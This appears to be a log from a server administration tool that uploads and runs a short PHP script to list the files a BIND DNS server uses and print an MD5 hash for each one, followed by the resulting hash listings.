MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 13:19:25: Establishing a connection
2026-04-24 13:19:26: 

PUT: /tmp/pkp170693

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 13:19:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp170693; rm /tmp/pkp170693'

2026-04-24 13:19:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
